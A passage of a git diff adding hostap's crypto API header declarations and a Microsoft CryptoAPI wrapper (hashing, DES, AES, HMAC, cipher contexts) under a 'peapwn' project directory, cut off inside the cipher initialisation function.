Returns: 0 on success, -1 on failure + * + * This function is only used with internal TLSv1 implementation + * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need + * to implement this. + */ +int __must_check crypto_cipher_encrypt(struct crypto_cipher *ctx, + const u8 *plain, u8 *crypt, size_t len); + +/** + * crypto_cipher_decrypt - Cipher decrypt + * @ctx: Context pointer from crypto_cipher_init() + * @crypt: Ciphertext to decrypt + * @plain: Resulting plaintext + * @len: Length of the cipher text + * Returns: 0 on success, -1 on failure + * + * This function is only used with internal TLSv1 implementation + * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need + * to implement this. + */ +int __must_check crypto_cipher_decrypt(struct crypto_cipher *ctx, + const u8 *crypt, u8 *plain, size_t len); + +/** + * crypto_cipher_decrypt - Free cipher context + * @ctx: Context pointer from crypto_cipher_init() + * + * This function is only used with internal TLSv1 implementation + * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need + * to implement this. + */ +void crypto_cipher_deinit(struct crypto_cipher *ctx); + + +struct crypto_public_key; +struct crypto_private_key; + +/** + * crypto_public_key_import - Import an RSA public key + * @key: Key buffer (DER encoded RSA public key) + * @len: Key buffer length in bytes + * Returns: Pointer to the public key or %NULL on failure + * + * This function can just return %NULL if the crypto library supports X.509 + * parsing. In that case, crypto_public_key_from_cert() is used to import the + * public key from a certificate. + * + * This function is only used with internal TLSv1 implementation + * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need + * to implement this. + */ +struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len); + +/** + * crypto_private_key_import - Import an RSA private key + * @key: Key buffer (DER encoded RSA private key) + * @len: Key buffer length in bytes + * @passwd: Key encryption password or %NULL if key is not encrypted + * Returns: Pointer to the private key or %NULL on failure + * + * This function is only used with internal TLSv1 implementation + * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need + * to implement this. + */ +struct crypto_private_key * crypto_private_key_import(const u8 *key, + size_t len, + const char *passwd); + +/** + * crypto_public_key_from_cert - Import an RSA public key from a certificate + * @buf: DER encoded X.509 certificate + * @len: Certificate buffer length in bytes + * Returns: Pointer to public key or %NULL on failure + * + * This function can just return %NULL if the crypto library does not support + * X.509 parsing. In that case, internal code will be used to parse the + * certificate and public key is imported using crypto_public_key_import(). + * + * This function is only used with internal TLSv1 implementation + * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need + * to implement this. + */ +struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf, + size_t len); + +/** + * crypto_public_key_encrypt_pkcs1_v15 - Public key encryption (PKCS #1 v1.5) + * @key: Public key + * @in: Plaintext buffer + * @inlen: Length of plaintext buffer in bytes + * @out: Output buffer for encrypted data + * @outlen: Length of output buffer in bytes; set to used length on success + * Returns: 0 on success, -1 on failure + * + * This function is only used with internal TLSv1 implementation + * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need + * to implement this. + */ +int __must_check crypto_public_key_encrypt_pkcs1_v15( + struct crypto_public_key *key, const u8 *in, size_t inlen, + u8 *out, size_t *outlen); + +/** + * crypto_private_key_decrypt_pkcs1_v15 - Private key decryption (PKCS #1 v1.5) + * @key: Private key + * @in: Encrypted buffer + * @inlen: Length of encrypted buffer in bytes + * @out: Output buffer for encrypted data + * @outlen: Length of output buffer in bytes; set to used length on success + * Returns: 0 on success, -1 on failure + * + * This function is only used with internal TLSv1 implementation + * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need + * to implement this. + */ +int __must_check crypto_private_key_decrypt_pkcs1_v15( + struct crypto_private_key *key, const u8 *in, size_t inlen, + u8 *out, size_t *outlen); + +/** + * crypto_private_key_sign_pkcs1 - Sign with private key (PKCS #1) + * @key: Private key from crypto_private_key_import() + * @in: Plaintext buffer + * @inlen: Length of plaintext buffer in bytes + * @out: Output buffer for encrypted (signed) data + * @outlen: Length of output buffer in bytes; set to used length on success + * Returns: 0 on success, -1 on failure + * + * This function is only used with internal TLSv1 implementation + * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need + * to implement this. + */ +int __must_check crypto_private_key_sign_pkcs1(struct crypto_private_key *key, + const u8 *in, size_t inlen, + u8 *out, size_t *outlen); + +/** + * crypto_public_key_free - Free public key + * @key: Public key + * + * This function is only used with internal TLSv1 implementation + * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need + * to implement this. + */ +void crypto_public_key_free(struct crypto_public_key *key); + +/** + * crypto_private_key_free - Free private key + * @key: Private key from crypto_private_key_import() + * + * This function is only used with internal TLSv1 implementation + * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need + * to implement this. + */ +void crypto_private_key_free(struct crypto_private_key *key); + +/** + * crypto_public_key_decrypt_pkcs1 - Decrypt PKCS #1 signature + * @key: Public key + * @crypt: Encrypted signature data (using the private key) + * @crypt_len: Encrypted signature data length + * @plain: Buffer for plaintext (at least crypt_len bytes) + * @plain_len: Plaintext length (max buffer size on input, real len on output); + * Returns: 0 on success, -1 on failure + */ +int __must_check crypto_public_key_decrypt_pkcs1( + struct crypto_public_key *key, const u8 *crypt, size_t crypt_len, + u8 *plain, size_t *plain_len); + +/** + * crypto_global_init - Initialize crypto wrapper + * + * This function is only used with internal TLSv1 implementation + * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need + * to implement this. + */ +int __must_check crypto_global_init(void); + +/** + * crypto_global_deinit - Deinitialize crypto wrapper + * + * This function is only used with internal TLSv1 implementation + * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need + * to implement this. + */ +void crypto_global_deinit(void); + +/** + * crypto_mod_exp - Modular exponentiation of large integers + * @base: Base integer (big endian byte array) + * @base_len: Length of base integer in bytes + * @power: Power integer (big endian byte array) + * @power_len: Length of power integer in bytes + * @modulus: Modulus integer (big endian byte array) + * @modulus_len: Length of modulus integer in bytes + * @result: Buffer for the result + * @result_len: Result length (max buffer size on input, real len on output) + * Returns: 0 on success, -1 on failure + * + * This function calculates result = base ^ power mod modulus. modules_len is + * used as the maximum size of modulus buffer. It is set to the used size on + * success. + * + * This function is only used with internal TLSv1 implementation + * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need + * to implement this. + */ +int __must_check crypto_mod_exp(const u8 *base, size_t base_len, + const u8 *power, size_t power_len, + const u8 *modulus, size_t modulus_len, + u8 *result, size_t *result_len); + +/** + * rc4_skip - XOR RC4 stream to given data with skip-stream-start + * @key: RC4 key + * @keylen: RC4 key length + * @skip: number of bytes to skip from the beginning of the RC4 stream + * @data: data to be XOR'ed with RC4 stream + * @data_len: buf length + * Returns: 0 on success, -1 on failure + * + * Generate RC4 pseudo random stream for the given key, skip beginning of the + * stream, and XOR the end result with the data buffer to perform RC4 + * encryption/decryption. + */ +int rc4_skip(const u8 *key, size_t keylen, size_t skip, + u8 *data, size_t data_len); + +/** + * crypto_get_random - Generate cryptographically strong pseudy-random bytes + * @buf: Buffer for data + * @len: Number of bytes to generate + * Returns: 0 on success, -1 on failure + * + * If the PRNG does not have enough entropy to ensure unpredictable byte + * sequence, this functions must return -1. + */ +int crypto_get_random(void *buf, size_t len); + + +/** + * struct crypto_bignum - bignum + * + * Internal data structure for bignum implementation. The contents is specific + * to the used crypto library. + */ +struct crypto_bignum; + +/** + * crypto_bignum_init - Allocate memory for bignum + * Returns: Pointer to allocated bignum or %NULL on failure + */ +struct crypto_bignum * crypto_bignum_init(void); + +/** + * crypto_bignum_init_set - Allocate memory for bignum and set the value + * @buf: Buffer with unsigned binary value + * @len: Length of buf in octets + * Returns: Pointer to allocated bignum or %NULL on failure + */ +struct crypto_bignum * crypto_bignum_init_set(const u8 *buf, size_t len); + +/** + * crypto_bignum_deinit - Free bignum + * @n: Bignum from crypto_bignum_init() or crypto_bignum_init_set() + * @clear: Whether to clear the value from memory + */ +void crypto_bignum_deinit(struct crypto_bignum *n, int clear); + +/** + * crypto_bignum_to_bin - Set binary buffer to unsigned bignum + * @a: Bignum + * @buf: Buffer for the binary number + * @len: Length of @buf in octets + * @padlen: Length in octets to pad the result to or 0 to indicate no padding + * Returns: Number of octets written on success, -1 on failure + */ +int crypto_bignum_to_bin(const struct crypto_bignum *a, + u8 *buf, size_t buflen, size_t padlen); + +/** + * crypto_bignum_add - c = a + b + * @a: Bignum + * @b: Bignum + * @c: Bignum; used to store the result of a + b + * Returns: 0 on success, -1 on failure + */ +int crypto_bignum_add(const struct crypto_bignum *a, + const struct crypto_bignum *b, + struct crypto_bignum *c); + +/** + * crypto_bignum_mod - c = a % b + * @a: Bignum + * @b: Bignum + * @c: Bignum; used to store the result of a % b + * Returns: 0 on success, -1 on failure + */ +int crypto_bignum_mod(const struct crypto_bignum *a, + const struct crypto_bignum *b, + struct crypto_bignum *c); + +/** + * crypto_bignum_exptmod - Modular exponentiation: d = a^b (mod c) + * @a: Bignum; base + * @b: Bignum; exponent + * @c: Bignum; modulus + * @d: Bignum; used to store the result of a^b (mod c) + * Returns: 0 on success, -1 on failure + */ +int crypto_bignum_exptmod(const struct crypto_bignum *a, + const struct crypto_bignum *b, + const struct crypto_bignum *c, + struct crypto_bignum *d); + +/** + * crypto_bignum_rshift - b = a >> n + * @a: Bignum + * @n: Number of bits to shift + * @b: Bignum; used to store the result of a >> n + * Returns: 0 on success, -1 on failure + */ +int crypto_bignum_rshift(const struct crypto_bignum *a, int n, + struct crypto_bignum *b); + +/** + * crypto_bignum_inverse - Inverse a bignum so that a * c = 1 (mod b) + * @a: Bignum + * @b: Bignum + * @c: Bignum; used to store the result + * Returns: 0 on success, -1 on failure + */ +int crypto_bignum_inverse(const struct crypto_bignum *a, + const struct crypto_bignum *b, + struct crypto_bignum *c); + +/** + * crypto_bignum_sub - c = a - b + * @a: Bignum + * @b: Bignum + * @c: Bignum; used to store the result of a - b + * Returns: 0 on success, -1 on failure + */ +int crypto_bignum_sub(const struct crypto_bignum *a, + const struct crypto_bignum *b, + struct crypto_bignum *c); + +/** + * crypto_bignum_div - c = a / b + * @a: Bignum + * @b: Bignum + * @c: Bignum; used to store the result of a / b + * Returns: 0 on success, -1 on failure + */ +int crypto_bignum_div(const struct crypto_bignum *a, + const struct crypto_bignum *b, + struct crypto_bignum *c); + +/** + * crypto_bignum_mulmod - d = a * b (mod c) + * @a: Bignum + * @b: Bignum + * @c: Bignum + * @d: Bignum; used to store the result of (a * b) % c + * Returns: 0 on success, -1 on failure + */ +int crypto_bignum_mulmod(const struct crypto_bignum *a, + const struct crypto_bignum *b, + const struct crypto_bignum *c, + struct crypto_bignum *d); + +/** + * crypto_bignum_cmp - Compare two bignums + * @a: Bignum + * @b: Bignum + * Returns: -1 if a < b, 0 if a == b, or 1 if a > b + */ +int crypto_bignum_cmp(const struct crypto_bignum *a, + const struct crypto_bignum *b); + +/** + * crypto_bignum_bits - Get size of a bignum in bits + * @a: Bignum + * Returns: Number of bits in the bignum + */ +int crypto_bignum_bits(const struct crypto_bignum *a); + +/** + * crypto_bignum_is_zero - Is the given bignum zero + * @a: Bignum + * Returns: 1 if @a is zero or 0 if not + */ +int crypto_bignum_is_zero(const struct crypto_bignum *a); + +/** + * crypto_bignum_is_one - Is the given bignum one + * @a: Bignum + * Returns: 1 if @a is one or 0 if not + */ +int crypto_bignum_is_one(const struct crypto_bignum *a); + +/** + * struct crypto_ec - Elliptic curve context + * + * Internal data structure for EC implementation. The contents is specific + * to the used crypto library. + */ +struct crypto_ec; + +/** + * crypto_ec_init - Initialize elliptic curve context + * @group: Identifying number for the ECC group (IANA "Group Description" + * attribute registrty for RFC 2409) + * Returns: Pointer to EC context or %NULL on failure + */ +struct crypto_ec * crypto_ec_init(int group); + +/** + * crypto_ec_deinit - Deinitialize elliptic curve context + * @e: EC context from crypto_ec_init() + */ +void crypto_ec_deinit(struct crypto_ec *e); + +/** + * crypto_ec_prime_len - Get length of the prime in octets + * @e: EC context from crypto_ec_init() + * Returns: Length of the prime defining the group + */ +size_t crypto_ec_prime_len(struct crypto_ec *e); + +/** + * crypto_ec_prime_len_bits - Get length of the prime in bits + * @e: EC context from crypto_ec_init() + * Returns: Length of the prime defining the group in bits + */ +size_t crypto_ec_prime_len_bits(struct crypto_ec *e); + +/** + * crypto_ec_get_prime - Get prime defining an EC group + * @e: EC context from crypto_ec_init() + * Returns: Prime (bignum) defining the group + */ +const struct crypto_bignum * crypto_ec_get_prime(struct crypto_ec *e); + +/** + * crypto_ec_get_order - Get order of an EC group + * @e: EC context from crypto_ec_init() + * Returns: Order (bignum) of the group + */ +const struct crypto_bignum * crypto_ec_get_order(struct crypto_ec *e); + +/** + * struct crypto_ec_point - Elliptic curve point + * + * Internal data structure for EC implementation to represent a point. The + * contents is specific to the used crypto library. + */ +struct crypto_ec_point; + +/** + * crypto_ec_point_init - Initialize data for an EC point + * @e: EC context from crypto_ec_init() + * Returns: Pointer to EC point data or %NULL on failure + */ +struct crypto_ec_point * crypto_ec_point_init(struct crypto_ec *e); + +/** + * crypto_ec_point_deinit - Deinitialize EC point data + * @p: EC point data from crypto_ec_point_init() + * @clear: Whether to clear the EC point value from memory + */ +void crypto_ec_point_deinit(struct crypto_ec_point *p, int clear); + +/** + * crypto_ec_point_to_bin - Write EC point value as binary data + * @e: EC context from crypto_ec_init() + * @p: EC point data from crypto_ec_point_init() + * @x: Buffer for writing the binary data for x coordinate or %NULL if not used + * @y: Buffer for writing the binary data for y coordinate or %NULL if not used + * Returns: 0 on success, -1 on failure + * + * This function can be used to write an EC point as binary data in a format + * that has the x and y coordinates in big endian byte order fields padded to + * the length of the prime defining the group. + */ +int crypto_ec_point_to_bin(struct crypto_ec *e, + const struct crypto_ec_point *point, u8 *x, u8 *y); + +/** + * crypto_ec_point_from_bin - Create EC point from binary data + * @e: EC context from crypto_ec_init() + * @val: Binary data to read the EC point from + * Returns: Pointer to EC point data or %NULL on failure + * + * This function readers x and y coordinates of the EC point from the provided + * buffer assuming the values are in big endian byte order with fields padded to + * the length of the prime defining the group. + */ +struct crypto_ec_point * crypto_ec_point_from_bin(struct crypto_ec *e, + const u8 *val); + +/** + * crypto_bignum_add - c = a + b + * @e: EC context from crypto_ec_init() + * @a: Bignum + * @b: Bignum + * @c: Bignum; used to store the result of a + b + * Returns: 0 on success, -1 on failure + */ +int crypto_ec_point_add(struct crypto_ec *e, const struct crypto_ec_point *a, + const struct crypto_ec_point *b, + struct crypto_ec_point *c); + +/** + * crypto_bignum_mul - res = b * p + * @e: EC context from crypto_ec_init() + * @p: EC point + * @b: Bignum + * @res: EC point; used to store the result of b * p + * Returns: 0 on success, -1 on failure + */ +int crypto_ec_point_mul(struct crypto_ec *e, const struct crypto_ec_point *p, + const struct crypto_bignum *b, + struct crypto_ec_point *res); + +/** + * crypto_ec_point_invert - Compute inverse of an EC point + * @e: EC context from crypto_ec_init() + * @p: EC point to invert (and result of the operation) + * Returns: 0 on success, -1 on failure + */ +int crypto_ec_point_invert(struct crypto_ec *e, struct crypto_ec_point *p); + +/** + * crypto_ec_point_solve_y_coord - Solve y coordinate for an x coordinate + * @e: EC context from crypto_ec_init() + * @p: EC point to use for the returning the result + * @x: x coordinate + * @y_bit: y-bit (0 or 1) for selecting the y value to use + * Returns: 0 on success, -1 on failure + */ +int crypto_ec_point_solve_y_coord(struct crypto_ec *e, + struct crypto_ec_point *p, + const struct crypto_bignum *x, int y_bit); + +/** + * crypto_ec_point_is_at_infinity - Check whether EC point is neutral element + * @e: EC context from crypto_ec_init() + * @p: EC point + * Returns: 1 if the specified EC point is the neutral element of the group or + * 0 if not + */ +int crypto_ec_point_is_at_infinity(struct crypto_ec *e, + const struct crypto_ec_point *p); + +/** + * crypto_ec_point_is_on_curve - Check whether EC point is on curve + * @e: EC context from crypto_ec_init() + * @p: EC point + * Returns: 1 if the specified EC point is on the curve or 0 if not + */ +int crypto_ec_point_is_on_curve(struct crypto_ec *e, + const struct crypto_ec_point *p); + +#endif /* CRYPTO_H */ diff --git a/peapwn/mods/hostap/src/crypto/crypto_cryptoapi.c b/peapwn/mods/hostap/src/crypto/crypto_cryptoapi.c new file mode 100644 index 000000000..55a069b0d --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/crypto_cryptoapi.c @@ -0,0 +1,783 @@ +/* + * Crypto wrapper for Microsoft CryptoAPI + * Copyright (c) 2005-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include +#include + +#include "common.h" +#include "crypto.h" + +#ifndef MS_ENH_RSA_AES_PROV +#ifdef UNICODE +#define MS_ENH_RSA_AES_PROV \ +L"Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)" +#else +#define MS_ENH_RSA_AES_PROV \ +"Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)" +#endif +#endif /* MS_ENH_RSA_AES_PROV */ + +#ifndef CALG_HMAC +#define CALG_HMAC (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HMAC) +#endif + +#ifdef __MINGW32_VERSION +/* + * MinGW does not yet include all the needed definitions for CryptoAPI, so + * define here whatever extra is needed. + */ + +static BOOL WINAPI +(*CryptImportPublicKeyInfo)(HCRYPTPROV hCryptProv, DWORD dwCertEncodingType, + PCERT_PUBLIC_KEY_INFO pInfo, HCRYPTKEY *phKey) += NULL; /* to be loaded from crypt32.dll */ + + +static int mingw_load_crypto_func(void) +{ + HINSTANCE dll; + + /* MinGW does not yet have full CryptoAPI support, so load the needed + * function here. */ + + if (CryptImportPublicKeyInfo) + return 0; + + dll = LoadLibrary("crypt32"); + if (dll == NULL) { + wpa_printf(MSG_DEBUG, "CryptoAPI: Could not load crypt32 " + "library"); + return -1; + } + + CryptImportPublicKeyInfo = GetProcAddress( + dll, "CryptImportPublicKeyInfo"); + if (CryptImportPublicKeyInfo == NULL) { + wpa_printf(MSG_DEBUG, "CryptoAPI: Could not get " + "CryptImportPublicKeyInfo() address from " + "crypt32 library"); + return -1; + } + + return 0; +} + +#else /* __MINGW32_VERSION */ + +static int mingw_load_crypto_func(void) +{ + return 0; +} + +#endif /* __MINGW32_VERSION */ + + +static void cryptoapi_report_error(const char *msg) +{ + char *s, *pos; + DWORD err = GetLastError(); + + if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | + FORMAT_MESSAGE_FROM_SYSTEM, + NULL, err, 0, (LPTSTR) &s, 0, NULL) == 0) { + wpa_printf(MSG_DEBUG, "CryptoAPI: %s: %d", msg, (int) err); + } + + pos = s; + while (*pos) { + if (*pos == '\n' || *pos == '\r') { + *pos = '\0'; + break; + } + pos++; + } + + wpa_printf(MSG_DEBUG, "CryptoAPI: %s: %d: (%s)", msg, (int) err, s); + LocalFree(s); +} + + +int cryptoapi_hash_vector(ALG_ID alg, size_t hash_len, size_t num_elem, + const u8 *addr[], const size_t *len, u8 *mac) +{ + HCRYPTPROV prov; + HCRYPTHASH hash; + size_t i; + DWORD hlen; + int ret = 0; + + if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, 0)) { + cryptoapi_report_error("CryptAcquireContext"); + return -1; + } + + if (!CryptCreateHash(prov, alg, 0, 0, &hash)) { + cryptoapi_report_error("CryptCreateHash"); + CryptReleaseContext(prov, 0); + return -1; + } + + for (i = 0; i < num_elem; i++) { + if (!CryptHashData(hash, (BYTE *) addr[i], len[i], 0)) { + cryptoapi_report_error("CryptHashData"); + CryptDestroyHash(hash); + CryptReleaseContext(prov, 0); + } + } + + hlen = hash_len; + if (!CryptGetHashParam(hash, HP_HASHVAL, mac, &hlen, 0)) { + cryptoapi_report_error("CryptGetHashParam"); + ret = -1; + } + + CryptDestroyHash(hash); + CryptReleaseContext(prov, 0); + + return ret; +} + + +int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) +{ + return cryptoapi_hash_vector(CALG_MD4, 16, num_elem, addr, len, mac); +} + + +void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) +{ + u8 next, tmp; + int i; + HCRYPTPROV prov; + HCRYPTKEY ckey; + DWORD dlen; + struct { + BLOBHEADER hdr; + DWORD len; + BYTE key[8]; + } key_blob; + DWORD mode = CRYPT_MODE_ECB; + + key_blob.hdr.bType = PLAINTEXTKEYBLOB; + key_blob.hdr.bVersion = CUR_BLOB_VERSION; + key_blob.hdr.reserved = 0; + key_blob.hdr.aiKeyAlg = CALG_DES; + key_blob.len = 8; + + /* Add parity bits to the key */ + next = 0; + for (i = 0; i < 7; i++) { + tmp = key[i]; + key_blob.key[i] = (tmp >> i) | next | 1; + next = tmp << (7 - i); + } + key_blob.key[i] = next | 1; + + if (!CryptAcquireContext(&prov, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, + CRYPT_VERIFYCONTEXT)) { + wpa_printf(MSG_DEBUG, "CryptoAPI: CryptAcquireContext failed: " + "%d", (int) GetLastError()); + return; + } + + if (!CryptImportKey(prov, (BYTE *) &key_blob, sizeof(key_blob), 0, 0, + &ckey)) { + wpa_printf(MSG_DEBUG, "CryptoAPI: CryptImportKey failed: %d", + (int) GetLastError()); + CryptReleaseContext(prov, 0); + return; + } + + if (!CryptSetKeyParam(ckey, KP_MODE, (BYTE *) &mode, 0)) { + wpa_printf(MSG_DEBUG, "CryptoAPI: CryptSetKeyParam(KP_MODE) " + "failed: %d", (int) GetLastError()); + CryptDestroyKey(ckey); + CryptReleaseContext(prov, 0); + return; + } + + os_memcpy(cypher, clear, 8); + dlen = 8; + if (!CryptEncrypt(ckey, 0, FALSE, 0, cypher, &dlen, 8)) { + wpa_printf(MSG_DEBUG, "CryptoAPI: CryptEncrypt failed: %d", + (int) GetLastError()); + os_memset(cypher, 0, 8); + } + + CryptDestroyKey(ckey); + CryptReleaseContext(prov, 0); +} + + +int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) +{ + return cryptoapi_hash_vector(CALG_MD5, 16, num_elem, addr, len, mac); +} + + +int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) +{ + return cryptoapi_hash_vector(CALG_SHA, 20, num_elem, addr, len, mac); +} + + +struct aes_context { + HCRYPTPROV prov; + HCRYPTKEY ckey; +}; + + +void * aes_encrypt_init(const u8 *key, size_t len) +{ + struct aes_context *akey; + struct { + BLOBHEADER hdr; + DWORD len; + BYTE key[16]; + } key_blob; + DWORD mode = CRYPT_MODE_ECB; + + if (len != 16) + return NULL; + + key_blob.hdr.bType = PLAINTEXTKEYBLOB; + key_blob.hdr.bVersion = CUR_BLOB_VERSION; + key_blob.hdr.reserved = 0; + key_blob.hdr.aiKeyAlg = CALG_AES_128; + key_blob.len = len; + os_memcpy(key_blob.key, key, len); + + akey = os_zalloc(sizeof(*akey)); + if (akey == NULL) + return NULL; + + if (!CryptAcquireContext(&akey->prov, NULL, + MS_ENH_RSA_AES_PROV, PROV_RSA_AES, + CRYPT_VERIFYCONTEXT)) { + wpa_printf(MSG_DEBUG, "CryptoAPI: CryptAcquireContext failed: " + "%d", (int) GetLastError()); + os_free(akey); + return NULL; + } + + if (!CryptImportKey(akey->prov, (BYTE *) &key_blob, sizeof(key_blob), + 0, 0, &akey->ckey)) { + wpa_printf(MSG_DEBUG, "CryptoAPI: CryptImportKey failed: %d", + (int) GetLastError()); + CryptReleaseContext(akey->prov, 0); + os_free(akey); + return NULL; + } + + if (!CryptSetKeyParam(akey->ckey, KP_MODE, (BYTE *) &mode, 0)) { + wpa_printf(MSG_DEBUG, "CryptoAPI: CryptSetKeyParam(KP_MODE) " + "failed: %d", (int) GetLastError()); + CryptDestroyKey(akey->ckey); + CryptReleaseContext(akey->prov, 0); + os_free(akey); + return NULL; + } + + return akey; +} + + +void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) +{ + struct aes_context *akey = ctx; + DWORD dlen; + + os_memcpy(crypt, plain, 16); + dlen = 16; + if (!CryptEncrypt(akey->ckey, 0, FALSE, 0, crypt, &dlen, 16)) { + wpa_printf(MSG_DEBUG, "CryptoAPI: CryptEncrypt failed: %d", + (int) GetLastError()); + os_memset(crypt, 0, 16); + } +} + + +void aes_encrypt_deinit(void *ctx) +{ + struct aes_context *akey = ctx; + if (akey) { + CryptDestroyKey(akey->ckey); + CryptReleaseContext(akey->prov, 0); + os_free(akey); + } +} + + +void * aes_decrypt_init(const u8 *key, size_t len) +{ + return aes_encrypt_init(key, len); +} + + +void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) +{ + struct aes_context *akey = ctx; + DWORD dlen; + + os_memcpy(plain, crypt, 16); + dlen = 16; + + if (!CryptDecrypt(akey->ckey, 0, FALSE, 0, plain, &dlen)) { + wpa_printf(MSG_DEBUG, "CryptoAPI: CryptDecrypt failed: %d", + (int) GetLastError()); + } +} + + +void aes_decrypt_deinit(void *ctx) +{ + aes_encrypt_deinit(ctx); +} + + +struct crypto_hash { + enum crypto_hash_alg alg; + int error; + HCRYPTPROV prov; + HCRYPTHASH hash; + HCRYPTKEY key; +}; + +struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key, + size_t key_len) +{ + struct crypto_hash *ctx; + ALG_ID calg; + struct { + BLOBHEADER hdr; + DWORD len; + BYTE key[32]; + } key_blob; + + os_memset(&key_blob, 0, sizeof(key_blob)); + switch (alg) { + case CRYPTO_HASH_ALG_MD5: + calg = CALG_MD5; + break; + case CRYPTO_HASH_ALG_SHA1: + calg = CALG_SHA; + break; + case CRYPTO_HASH_ALG_HMAC_MD5: + case CRYPTO_HASH_ALG_HMAC_SHA1: + calg = CALG_HMAC; + key_blob.hdr.bType = PLAINTEXTKEYBLOB; + key_blob.hdr.bVersion = CUR_BLOB_VERSION; + key_blob.hdr.reserved = 0; + /* + * Note: RC2 is not really used, but that can be used to + * import HMAC keys of up to 16 byte long. + * CRYPT_IPSEC_HMAC_KEY flag for CryptImportKey() is needed to + * be able to import longer keys (HMAC-SHA1 uses 20-byte key). + */ + key_blob.hdr.aiKeyAlg = CALG_RC2; + key_blob.len = key_len; + if (key_len > sizeof(key_blob.key)) + return NULL; + os_memcpy(key_blob.key, key, key_len); + break; + default: + return NULL; + } + + ctx = os_zalloc(sizeof(*ctx)); + if (ctx == NULL) + return NULL; + + ctx->alg = alg; + + if (!CryptAcquireContext(&ctx->prov, NULL, NULL, PROV_RSA_FULL, 0)) { + cryptoapi_report_error("CryptAcquireContext"); + os_free(ctx); + return NULL; + } + + if (calg == CALG_HMAC) { +#ifndef CRYPT_IPSEC_HMAC_KEY +#define CRYPT_IPSEC_HMAC_KEY 0x00000100 +#endif + if (!CryptImportKey(ctx->prov, (BYTE *) &key_blob, + sizeof(key_blob), 0, CRYPT_IPSEC_HMAC_KEY, + &ctx->key)) { + cryptoapi_report_error("CryptImportKey"); + CryptReleaseContext(ctx->prov, 0); + os_free(ctx); + return NULL; + } + } + + if (!CryptCreateHash(ctx->prov, calg, ctx->key, 0, &ctx->hash)) { + cryptoapi_report_error("CryptCreateHash"); + CryptReleaseContext(ctx->prov, 0); + os_free(ctx); + return NULL; + } + + if (calg == CALG_HMAC) { + HMAC_INFO info; + os_memset(&info, 0, sizeof(info)); + switch (alg) { + case CRYPTO_HASH_ALG_HMAC_MD5: + info.HashAlgid = CALG_MD5; + break; + case CRYPTO_HASH_ALG_HMAC_SHA1: + info.HashAlgid = CALG_SHA; + break; + default: + /* unreachable */ + break; + } + + if (!CryptSetHashParam(ctx->hash, HP_HMAC_INFO, (BYTE *) &info, + 0)) { + cryptoapi_report_error("CryptSetHashParam"); + CryptDestroyHash(ctx->hash); + CryptReleaseContext(ctx->prov, 0); + os_free(ctx); + return NULL; + } + } + + return ctx; +} + + +void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len) +{ + if (ctx == NULL || ctx->error) + return; + + if (!CryptHashData(ctx->hash, (BYTE *) data, len, 0)) { + cryptoapi_report_error("CryptHashData"); + ctx->error = 1; + } +} + + +int crypto_hash_finish(struct crypto_hash *ctx, u8 *mac, size_t *len) +{ + int ret = 0; + DWORD hlen; + + if (ctx == NULL) + return -2; + + if (mac == NULL || len == NULL) + goto done; + + if (ctx->error) { + ret = -2; + goto done; + } + + hlen = *len; + if (!CryptGetHashParam(ctx->hash, HP_HASHVAL, mac, &hlen, 0)) { + cryptoapi_report_error("CryptGetHashParam"); + ret = -2; + } + *len = hlen; + +done: + if (ctx->alg == CRYPTO_HASH_ALG_HMAC_SHA1 || + ctx->alg == CRYPTO_HASH_ALG_HMAC_MD5) + CryptDestroyKey(ctx->key); + + os_free(ctx); + + return ret; +} + + +struct crypto_cipher { + HCRYPTPROV prov; + HCRYPTKEY key; +}; + + +struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, + const u8 *iv, const u8 *key, + size_t key_len) +{ + struct crypto_cipher *ctx; + struct { + BLOBHEADER hdr; + DWORD len; + BYTE key[32]; + } key_blob; + DWORD mode = CRYPT_MODE_CBC; + + key_blob.hdr.bType = PLAINTEXTKEYBLOB; + key_blob.hdr.bVersion = CUR_BLOB_VERSION; + key_blob.hdr.reserved = 0; + key_blob.len = key_len; + if (key_len > sizeof(key_blob.key)) + return NULL; + os_memcpy(key_blob.key, key, key_len); + + switch (alg) { + case CRYPTO_CIPHER_ALG_AES: + if (key_len == 32) + key_blob.hdr.aiKeyAlg = CALG_AES_256; + else if (key_len == 24) + key_blob.hdr.aiKeyAlg = CALG_AES_192; + else + key_blob.hdr.aiKeyAlg = CALG_AES_128; + break; + case CRYPTO_CIPHER_ALG_3DES: + key_blob.hdr.aiKeyAlg = CALG_3DES; + break; + case CRYPTO_CIPHER_ALG_DES: + key_blob.hdr.aiKeyAlg = CALG_DES; + break; + case CRYPTO_CIPHER_ALG_RC2: + key_blob.hdr.aiKeyAlg = CALG_RC2; + break; + case CRYPTO_CIPHER_ALG_RC4: + key_blob.hdr.aiKeyAlg = CALG_RC4; + break; + default: 